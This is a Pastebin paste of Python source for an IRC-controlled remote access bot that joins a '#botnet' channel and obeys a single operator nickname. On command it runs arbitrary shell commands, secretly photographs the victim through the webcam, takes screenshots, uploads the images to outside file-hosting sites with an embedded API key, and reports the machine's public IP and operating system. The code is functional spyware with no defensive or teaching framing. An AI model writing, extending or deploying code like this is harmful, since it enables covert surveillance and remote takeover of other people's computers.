Kysan721

a

Nov 3rd, 2018 (edited)
400
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.85 KB | None | 0 0
  1. import irc.bot
  2. import irc.strings
  3. from irc.client import ip_numstr_to_quad, ip_quad_to_numstr
  4. import os
  5. import socket
  6. import numpy as np
  7. import cv2
  8. import base64
  9. from urllib.request import urlopen
  10. import platform
  11. from platform import platform
  12. import pyautogui
  13. import time
  14. import requests
  15. import ftplib
  16. import requests
  17. import random
  18. import wmi
  19.  
  20.  
  21. #-------------------------------- system function ------------------------------------------
  22.  
  23. def upload_file(filePath):
  24. files = {
  25. 'key': (None, '5cVVqb1dtrJ3J2jazddiBkMKsOWf0nNOsIbQtE'),
  26. 'file': (filePath, open(filePath, 'rb')),
  27. }
  28.  
  29. return requests.post('https://filebin.ca/upload.php', files=files).text.split("url:")[1].strip()
  30.  
  31.  
  32. def post_img(file):
  33. try:
  34. print("sending: " + file)
  35.  
  36. files = {
  37. 'key': (None, '5cVVqb1dtrJ3J2jazddiBkMKsOWf0nNOsIbQtE'),
  38. 'file': (file, open(file, 'rb')),
  39. }
  40. return requests.post('https://imagebin.ca/upload.php', files=files).text.split("url:")[1].strip()
  41. except:
  42. return "http://thereisanerror"
  43.  
  44. def info(): #pour recup l'ip et l'os
  45. page = urlopen("http://www.monip.org/").read().decode("utf-8")
  46. ip = page.split("IP : ")[1].split("<br>")[0]
  47. return str(ip) + "::" + str(platform())
  48.  
  49. def genRandomName(charNb=6):
  50. stringbuilder = ""
  51. for x in range(charNb):
  52. stringbuilder += random.choice("qwertyuiopasdfghjklzxcvbnm1234567890")
  53. return stringbuilder
  54.  
  55. def takePicture():
  56. cam = cv2.VideoCapture(0)
  57. for k in range(4):
  58. cam.read()
  59. rt, frame = cam.read()
  60. cam.release()
  61. img_name = genRandomName()+".png"
  62. cv2.imwrite(img_name, frame)
  63. cam.release()
  64. return img_name
  65.  
  66. def screenshot():
  67. image = pyautogui.screenshot()
  68. img_name = genRandomName()+".png"
  69. image.save(img_name)
  70. return img_name
  71.  
  72.  
  73.  
  74. #------------------------------------ bot -------------------------------------------
  75.  
  76. class TestBot(irc.bot.SingleServerIRCBot):
  77. def __init__(self, channel, nickname, server, port):
  78. irc.bot.SingleServerIRCBot.__init__(
  79. self, [(server, port)], nickname, nickname)
  80. self.channel = channel
  81. print("started")
  82.  
  83. def on_nicknameinuse(self, c, e):
  84. c.nick(c.get_nickname() + "_")
  85.  
  86. def on_welcome(self, c, e):
  87. c.join(self.channel)
  88. print("connected")
  89.  
  90. def on_privmsg(self, c, e):
  91. self.do_command(e, e.arguments[0])
  92.  
  93. def on_pubmsg(self, c, e):
  94. self.do_command(e, e.arguments[0])
  95.  
  96. def on_dccmsg(self, c, e):
  97. pass
  98.  
  99. def on_dccchat(self, c, e):
  100. if len(e.arguments) != 2:
  101. return
  102. args = e.arguments[1].split()
  103. if len(args) == 4:
  104. try:
  105. address = ip_numstr_to_quad(args[2])
  106. port = int(args[3])
  107. except ValueError:
  108. return
  109. self.dcc_connect(address, port)
  110.  
  111. def do_command(self, e, cmd): #bot mainloop
  112. nick = e.source.nick
  113. print(nick + ": " + cmd)
  114. args = cmd.split(" ")
  115.  
  116. if nick == "Kysan":
  117. c = self.connection
  118. c.notice(nick, "traitement")
  119.  
  120. if cmd == "disconnect":
  121. self.disconnect()
  122.  
  123. elif cmd == "die":
  124. self.die()
  125.  
  126. elif args[0] == "cmd":
  127. os.system(" ".join(args[1:]))
  128.  
  129. elif cmd == "cam":
  130. try:
  131. file = takePicture()
  132. print(file)
  133. link = post_img(file)
  134. c.notice(nick, "uploaded on: "+str(link))
  135. except:
  136. c.notice(nick, "error")
  137.  
  138. elif args[0] == "screenshot":
  139. try:
  140. file = screenshot()
  141. print(file)
  142. link = post_img(file)
  143. c.notice(nick, "uploaded on: "+str(link))
  144. except:
  145. c.notice(nick, "error")
  146.  
  147. elif cmd == "info":
  148. c.notice(nick, info())
  149.  
  150. elif cmd == "help":
  151. c.notice(nick, "availiable commands:")
  152. c.notice(nick, "disconnect, cam, screenshot, info, cmd")
  153.  
  154. #elif args[0] == exec: a faire
  155. elif cmd == "getcwd":
  156. c.notice(nick, os.getcwd())
  157.  
  158. elif args[0] == "cd":
  159. os.system("cd "+ " ".join(args[1:]))
  160.  
  161. else:
  162. c.notice(nick, "Unknow command: " + cmd)
  163. c.notice(nick, "type help for commands list")
  164.  
  165. #--------------------------------- start ----------------------------
  166.  
  167. def main():
  168. bot = TestBot("#botnet", genRandomName(5), "irc.root-me.org", 6667)
  169. bot.start()
  170.  
  171. if __name__ == "__main__":
  172. main()
  173.  
  174. #made by Kysan
Add Comment
Please, Sign In to add comment